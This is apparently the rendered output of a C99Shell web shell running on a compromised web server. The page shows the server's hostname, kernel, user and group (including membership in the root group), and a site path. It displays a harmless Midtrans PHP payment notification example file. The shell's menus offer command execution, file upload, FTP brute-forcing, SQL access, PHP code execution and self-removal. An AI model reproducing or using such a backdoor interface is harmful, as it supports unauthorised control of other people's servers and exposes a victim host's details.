!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/midtrans/midtrans-php/examples/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     notification-handler.php (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Midtrans;

require_once 
dirname(__FILE__) . '/../Midtrans.php';
Config::$isProduction false;
Config::$serverKey '<your serverkey>';
$notif = new Notification();

$transaction $notif->transaction_status;
$type $notif->payment_type;
$order_id $notif->order_id;
$fraud $notif->fraud_status;

if (
$transaction == 'capture') {
    
// For credit card transaction, we need to check whether transaction is challenge by FDS or not
    
if ($type == 'credit_card') {
        if (
$fraud == 'challenge') {
            
// TODO set payment status in merchant's database to 'Challenge by FDS'
            // TODO merchant should decide whether this transaction is authorized or not in MAP
            
echo "Transaction order_id: " $order_id ." is challenged by FDS";
        } else {
            
// TODO set payment status in merchant's database to 'Success'
            
echo "Transaction order_id: " $order_id ." successfully captured using " $type;
        }
    }
} else if (
$transaction == 'settlement') {
    
// TODO set payment status in merchant's database to 'Settlement'
    
echo "Transaction order_id: " $order_id ." successfully transfered using " $type;
} else if (
$transaction == 'pending') {
    
// TODO set payment status in merchant's database to 'Pending'
    
echo "Waiting customer to finish transaction order_id: " $order_id " using " $type;
} else if (
$transaction == 'deny') {
    
// TODO set payment status in merchant's database to 'Denied'
    
echo "Payment using " $type " for transaction order_id: " $order_id " is denied.";
} else if (
$transaction == 'expire') {
    
// TODO set payment status in merchant's database to 'expire'
    
echo "Payment using " $type " for transaction order_id: " $order_id " is expired.";
} else if (
$transaction == 'cancel') {
    
// TODO set payment status in merchant's database to 'Denied'
    
echo "Payment using " $type " for transaction order_id: " $order_id " is canceled.";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--